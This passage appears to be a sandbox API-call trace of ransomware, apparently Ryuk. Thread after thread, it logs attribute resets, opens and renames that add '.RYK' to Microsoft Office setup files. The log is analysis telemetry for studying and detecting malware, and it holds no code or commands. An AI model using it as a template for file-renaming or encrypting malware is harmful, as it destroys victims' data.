	id = 280
	os_tid = 0xc78

	[0165.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", dwFileAttributes=0x80) returned 0
	[0165.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 281
	os_tid = 0xc7c

	[0165.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0165.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 282
	os_tid = 0xc80

	[0165.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", dwFileAttributes=0x80) returned 0
	[0165.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 283
	os_tid = 0xc84

	[0165.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", dwFileAttributes=0x80) returned 0
	[0165.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 284
	os_tid = 0xc88

	[0165.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0165.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 285
	os_tid = 0xc8c

	[0165.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", dwFileAttributes=0x80) returned 0
	[0166.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 286
	os_tid = 0xc90

	[0165.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 287
	os_tid = 0xc94

	[0165.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML", dwFileAttributes=0x80) returned 0
	[0165.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 288
	os_tid = 0xc98

	[0165.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0165.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 289
	os_tid = 0xc9c

	[0165.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0165.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 290
	os_tid = 0xca0

	[0165.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0166.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.047] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.047] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 291
	os_tid = 0xca4

	[0166.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML", dwFileAttributes=0x80) returned 0
	[0166.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.049] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 294
	os_tid = 0xcb0

	[0166.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML", dwFileAttributes=0x80) returned 0
	[0166.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 295
	os_tid = 0xcb4

	[0166.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 296
	os_tid = 0xcb8

	[0166.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", dwFileAttributes=0x80) returned 0
	[0166.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 297
	os_tid = 0xcbc

	[0166.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 298
	os_tid = 0xcc0

	[0166.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", dwFileAttributes=0x80) returned 0
	[0166.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 299
	os_tid = 0xcc4

	[0166.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 300
	os_tid = 0xccc

	[0166.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 301
	os_tid = 0xcd0

	[0166.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML", dwFileAttributes=0x80) returned 0
	[0166.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 302
	os_tid = 0xcd4

	[0166.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.281] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 303
	os_tid = 0xcd8

	[0166.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", dwFileAttributes=0x80) returned 0
	[0166.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 304
	os_tid = 0xcdc

